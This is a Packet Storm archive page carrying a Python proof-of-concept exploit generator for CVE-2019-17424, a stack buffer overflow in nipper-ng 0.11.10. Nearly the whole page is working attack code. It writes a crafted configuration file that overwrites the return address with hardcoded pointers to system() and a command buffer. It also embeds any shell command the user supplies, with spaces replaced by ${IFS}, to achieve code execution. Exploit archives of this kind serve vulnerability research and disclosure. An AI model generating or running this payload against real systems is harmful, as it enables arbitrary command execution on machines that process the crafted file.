what you don't know can hurt you

nipper-ng 0.11.10 Remote Buffer Overflow

nipper-ng 0.11.10 Remote Buffer Overflow
Posted Nov 18, 2019
Authored by Guy Levin

nipper-ng version 0.11.10 suffers from a remote buffer overflow vulnerability.

tags | exploit, remote, overflow
advisories | CVE-2019-17424
MD5 | d4babeb02a84d1101e6c163b25b3b907

nipper-ng 0.11.10 Remote Buffer Overflow

Change Mirror Download
# Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)
# Date: 2019-10-20
# Exploit Author: Guy Levin
# https://blog.vastart.dev
# Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng
# Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source
# Version: 0.11.10
# Tested on: Debian
# CVE : CVE-2019-17424

"""
Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)

For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html

may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
"""

import sys
import struct

def pack_dword(i):
return struct.pack("<I", i)

def prepare_shell_command(shell_command):
return shell_command.replace(" ", "${IFS}")

def build_exploit(shell_command):
EXPLOIT_SKELETON = r"privilage exec level 1 " \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " \
"aasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaab " \
"kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca " \
"acdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac " \
"uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma " \
"adnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaae " \
"faaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewa " \
"aexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf " \
"paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaagha " \
"agiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag " \
"zaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahra " \
"ahaaaataahuaahvaahwaahpaaaaaaazaaibaaicaaidaaieaaifaaigaaihaaiiaaijaai " \
"kaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca " \
"ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaj"

WRITEABLE_BUFFER = 0x080FA001
CALL_TO_SYSTEM = 0x0804E870
COMMAND_BUFFER = 0x080FA015

OFFSET_FOR_WRITEABLE_BUFFER = 0x326
OFFSET_FOR_RETURN = 0x33a
OFFSET_FOR_COMMAND_BUFFER = 0x33e

OFFSET_FOR_SHELL_COMMAND = 0x2a
MAX_SHELL_COMMAND_CHARS = 48

target_values_at_offsets = {
WRITEABLE_BUFFER : OFFSET_FOR_WRITEABLE_BUFFER,
CALL_TO_SYSTEM : OFFSET_FOR_RETURN,
COMMAND_BUFFER : OFFSET_FOR_COMMAND_BUFFER
}

exploit = bytearray(EXPLOIT_SKELETON, "ascii")

# copy pointers
for target_value, target_offset in target_values_at_offsets.items():
target_value = pack_dword(target_value)
exploit[target_offset:target_offset+len(target_value)] = target_value

# copy payload
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
raise ValueError("shell command is too big")
shell_command = prepare_shell_command(shell_command)
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
raise ValueError("shell command is too big after replacing spaces")

# adding padding to end of shell command
for i, letter in enumerate(shell_command + "&&"):
exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)

return exploit

def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
return 1

try:
payload = build_exploit(sys.argv[1])
except Exception as e:
print(f"error building exploit: {e}")
return 1

open(sys.argv[2], "wb").write(payload)

return 0 # success

if __name__ == '__main__':
main()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    15 Files
  • 27
    Feb 27th
    15 Files
  • 28
    Feb 28th
    4 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close